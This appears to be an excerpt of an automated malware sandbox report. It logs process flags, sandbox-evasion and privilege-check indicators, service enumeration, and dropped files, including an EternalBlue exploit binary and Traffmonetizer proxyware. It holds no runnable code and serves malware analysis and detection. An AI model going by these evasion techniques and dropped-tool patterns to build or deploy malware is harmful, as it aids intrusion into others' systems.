Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Meson.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Meson.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\Wmicc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\Wmicc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0040E7B0		11_2_0040E7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0040C190		11_2_0040C190

Found API chain indicative of sandbox detection

Source: C:\Windows\SysWOW64\svchost.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_11-6894

Found evasive API chain checking for user administrative privileges

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_0-35784
Source: C:\Users\user\Desktop\MSSQLH.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_1-17875

Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Memory allocated: 1FEE3930000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Memory allocated: 1FEFBA40000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: OpenSCManagerA,EnumServicesStatusExA,GlobalAlloc,EnumServicesStatusExA,RtlMoveMemory,OpenServiceA,QueryServiceConfigA,GlobalAlloc,QueryServiceConfigA,RtlMoveMemory,GlobalFree,CloseServiceHandle,GlobalFree,CloseServiceHandle,	1_2_0040E9E9
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GlobalAlloc,EnumServicesStatusA,GlobalFree,CloseServiceHandle,	1_2_0040E33F
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GetProcessHeap,HeapAlloc,EnumServicesStatusA,RtlMoveMemory,OpenServiceA,QueryServiceConfigA,GetProcessHeap,HeapAlloc,QueryServiceConfigA,RtlMoveMemory,GetProcessHeap,HeapFree,CloseServiceHandle,GetProcessHeap,HeapFree,CloseServiceHandle,	1_2_0040CF7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: OpenSCManagerA,EnumServicesStatusA,EnumServicesStatusA,LocalAlloc,LocalAlloc,EnumServicesStatusA,LocalAlloc,lstrlenA,OpenServiceA,QueryServiceConfig2A,lstrcpyA,lstrcpyA,QueryServiceConfigA,lstrcpyA,LocalSize,LocalReAlloc,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,CloseServiceHandle,CloseServiceHandle,LocalReAlloc,	11_2_0040D5E0

Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 2926
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 2262
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 2633
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: foregroundWindowGot 1770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3379
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2858
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Window / User API: threadDelayed 6274
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Window / User API: threadDelayed 3476

Source: C:\Windows\SysWOW64\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_11-6988

Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\libxml2.dll	Jump to dropped file
